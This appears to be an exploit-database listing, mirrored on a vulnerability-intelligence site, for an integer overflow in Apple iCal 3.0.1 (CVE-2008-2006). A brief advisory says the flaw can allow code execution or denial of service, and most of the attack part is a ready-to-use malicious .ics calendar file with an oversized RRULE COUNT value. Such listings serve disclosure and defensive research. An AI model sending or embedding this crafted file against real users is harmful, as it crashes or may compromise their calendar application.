Apple iCal 3.0.1 - 'COUNT' Integer Overflow
🗓️ 21 Apr 2008 00:00:00Reported by Core Security TechnologiesType 
exploitdb🔗 www.exploit-db.com👁 25 Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2008-2006 | 21 Apr 200800:00 | – | circl |
 | Multiple vulnerabilities in iCal | 21 May 200800:00 | – | coresecurity |
 | CVE-2008-2006 | 22 May 200810:00 | – | cve |
 | CVE-2008-2006 | 22 May 200810:00 | – | cvelist |
| Apple iCal 3.0.1 - 'TRIGGER' Denial of Service | 21 Apr 200800:00 | – | exploitdb |
 | CVE-2008-2006 | 22 May 200813:09 | – | nvd |
 | Core Security Technologies Advisory 2008.0126 | 22 May 200800:00 | – | packetstorm |
 | Null pointer dereference | 22 May 200813:09 | – | prion |
 | CORE-2008-0126: Multiple vulnerabilities in iCal | 22 May 200800:00 | – | securityvulns |
| Apple iCAL multiple security vulnerabilities | 22 May 200800:00 | – | securityvulns |
10
source: https://www.securityfocus.com/bid/28629/info
Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.
BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
END:VEVENT
END:VCALENDARData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Feb 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.09655